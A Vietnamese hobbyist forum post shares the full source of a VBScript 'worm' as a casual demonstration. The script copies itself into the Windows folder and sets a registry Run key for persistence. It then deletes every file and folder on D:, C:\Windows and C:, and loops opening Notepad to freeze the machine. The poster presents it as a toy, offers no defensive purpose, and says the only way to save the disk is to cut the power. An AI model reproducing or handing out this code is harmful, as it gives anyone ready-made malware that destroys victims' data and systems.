Chơi worm vbs, tác dụng củng tầm tầm
Đã bị nhiều người chửi mắng vì 1 con vi rút, chỉ cho coi thử, khồn cho mở mà cứ mở xong rồi chửi ng ta, mà không sao, nhân diệp 8\3 muốn show 1 con worm vbs nhẹ nhẹ
Nói sơ sơ: có tác dụng del ổ C + D và C:\Windows nho nhỏ thôi, máy tính không có đóng băng là thấy cảnh, đã text đối với có đóng băng, đứng máy do liên tục mở notepad Code như sau: msgbox"rút điện ra nhanh lên !" 'Cai nay co tac dung se tao 1 hop thong bao tren man hinh cua nan nha On Error Resume Next Set vip_xinh = Createobject("scripting.filesystemobject") vip_xinh.copyfile wscript.scriptfullname,vip_xinh.GetSpecialFolder(0 )& "\ vip_xinh.vbs" Set vip_xinh2= CreateObject("WScript.Shell") vip_xinh2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ru n\die","wscript.exe "& vip_xinh.GetSpecialFolder(0)& "\ vip_xinh.vbs %" On Error Resume Next Const vic = "D:\" Delvic Sub Delvic() Dim fso Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFile vic & "*.*" , True fso.DeleteFolder vic & "*" , True End Sub On Error Resume Next Const vic1 = "C:\windows\" Delvic1 Sub Delvic1() Dim fso1 Set fso1 = CreateObject("Scripting.FileSystemObject") fso1.DeleteFile vic1 & "*.*" , True fso1.DeleteFolder vic1 & "*" , True End Sub On Error Resume Next Const vic2 = "C:\" Delvic2 Sub Delvic2() Dim fso2 Set fso2 = CreateObject("Scripting.FileSystemObject") fso2.DeleteFile vic2 & "*.*" , True fso2.DeleteFolder vic2 & "*" , True End Sub On Error Resume Next Set treomay= CreateObject("WScript.Shell") Do treomay.run "notepad",false loop cách cứu ổ cứng là tút điện ra ngay Thấy hay thì thank dùm em 1 phát nha các bác :)) |
Múi giờ GMT +7. Hiện tại là 10:55 AM. |
Website sử dụng phần mềm vBulletin phiên bản 3.6.8
do Công ty TNHH Jelsoft giữ bản quyền từ 2000 - 2024.
Hội CHS Lê Quý Đôn-Long An giữ bản quyền nội dung của website này